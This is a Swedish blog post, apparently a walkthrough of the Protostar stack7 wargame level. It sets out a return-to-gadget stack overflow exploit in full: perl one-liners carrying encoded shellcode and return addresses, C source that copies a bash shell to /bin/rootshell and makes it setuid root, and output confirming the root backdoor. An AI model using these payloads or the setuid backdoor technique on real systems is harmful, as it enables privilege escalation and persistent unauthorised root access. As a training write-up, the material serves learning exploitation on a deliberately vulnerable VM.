Protostar och stack7

Stack7

Så fick lite tid över idag och vad är bättre än att fixa med stack7. Det var några veckor sedan jag satt med de andra. Gjorde stack0-stack6 samma dag. Så saker och ting ligger inte så friskt i minnet 😉

Ok, nu ska vi exekvera instruktioner som ligger i .text av binären. Och vad finns i .text jo det är så klart instruktionerna för programmet som ligger där och har det roligt.
Så vad letar vi efter där då.
Jo vi får väl starta med att se om vi hittar några jmp esp

Så slängde iväg
msfelfscan -j esp

Hittade inga, så testar att köra msfelfscan -p

msfelfscan -p /root/stack7
[/root/stack7]
0x08048492 pop ebx; pop ebp; ret
0x080485c7 pop edi; pop ebp; ret
0x080485f7 pop ebx; pop ebp; ret

Ok då ska vi bygga ihop något som är roligt att titta på.
Offset och så börjar vi med och eftersom jag det var ett tag sedan jag gjorde de andra uppgifterna så var det lika bra att ta och köra igenom med pattern_create mm.

(gdb) run
Starting program: /opt/protostar/bin/stack7
input path please: Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A
got path Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0A6Ac72Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2A

Program received signal SIGSEGV, Segmentation fault.
0x37634136 in ?? ()

Och svaret blev
/usr/share/metasploit-framework/tools/pattern_offset.rb 0x37634136
[*] Exact match at offset 80

Ok så efter 80 så behöver vi slänga in vad EIP ska vara och då får den inte vara i 0xb0000000

Och det är ju inte resultaten från msfelfscan.

Så då slänger vi ihop en exploit. Tar och tittar tillbaka på Stack5 och tar koden därifrån 😉

user@protostar:/opt/protostar/bin$ perl -e ‘print ”a”x76 . ”\xe0\xf7\xff\xbf” . ”\x90″x20 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack5
och då kör den /tmp/sh som var

user@protostar:/tmp$ cat sh.c rootshell.c
#include
void main() {
setuid(0);
setgid(0);
system(”cp /tmp/rootshell /bin/rootshell”);
system(”chmod 4755 /bin/rootshell”);

}

och rootshell.c
#include

void main() {

setuid(0);
setgid(0);
system(”/bin/bash”);
}

Då ska vi slänga ihop detta för att få det att exekvera.

perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\x90″x10 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7

Ok det fungerade ej så får sätta igång att core dumpas
echo ”2” >/proc/sys/fs/suid_dumpable och sen köra ulimit -c unlimited
Och då ser vi att programmet stoppas eftersom det finns lite NOPAR i EIP. Och det måste ju vara en adress som ska hoppas till.
jaja men då letar vi upp adressen. Det ser ut som att den är
0xbffff7d4: 0xf1cb7cba 0xd9c5da7a 0x58f42474 0x0bb1c92b
0xbffff7e4: 0x31fce883 0x50031150 0xa189e211 0x64e822fa
Och det ska komma efter 8 bytes. Så vi ändrar lite

Så då får vi helt enkelt skriva om det hela

perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\A”x8 . ”\xd4\xf7\xff\xbf” . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7

Efter lite kollande på stacken och lite ändrande så för att göra det lättare att hitta vart på stacken jag peka så slängde jag till lite NOP’ar och ändrade även koden till följande.

user@protostar:/opt/protostar/bin$ perl -e ‘print ”A”x80 . ”\x92\x84\x04\x08″ . ”\B”x8 . ”\xcc\xf7\xff\xbf” . ”\x90″x20 . ”\xba\x7c\xcb\xf1\x7a\xda\xc5\xd9\x74\x24\xf4\x58\x2b\xc9\xb1\x0b\x83\xe8\xfc\x31\x50\x11\x03\x50\x11\xe2\x89\xa1\xfa\x22\xe8\x64\x9b\xba\x27\xea\xea\xdc\x5f\xc3\x9f\x4a\x9f\x73\x4f\xe9\xf6\xed\x06\x0e\x5a\x1a\x10\xd1\x5a\xda\x0e\xa5\x37\xaa\x7f\x36\xaf\x4a\xd7\xeb\xa6\xaa\x1a\x8b”‘ | /opt/protostar/bin/stack7
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA¦AAAAAAAAAAAA¦BBBBBBBB¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦¦|¦¦z¦¦¦t$¦X+?
¦¦¦1PP=¦”¦d¦¦’¦¦¦_ßJ¦sO¦¦¦Z¦Z¦¦76¦J¦?¦
user@protostar:/opt/protostar/bin$ ls -al /bin/rootshell
-rwsr-xr-x 1 root root 4733 Jun 26 08:10 /bin/rootshell

Finns även andra sätt att slänga ihop denna exploit och även hitta ROP adresser att hoppa till som sen förhoppningvis hade exekverat min kod. Och jag skulle ju även kunnat egentligen ändrat stack6 och släng in en ROP till samma sak och kört ett system kommando.

Men men. Nu börjar det blir dags för format

Det här inlägget postades i Okategoriserade. Bokmärk permalänken.

Kommentera

E-postadressen publiceras inte. Obligatoriska fält är märkta *


*

Följande HTML-taggar och attribut är tillåtna: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>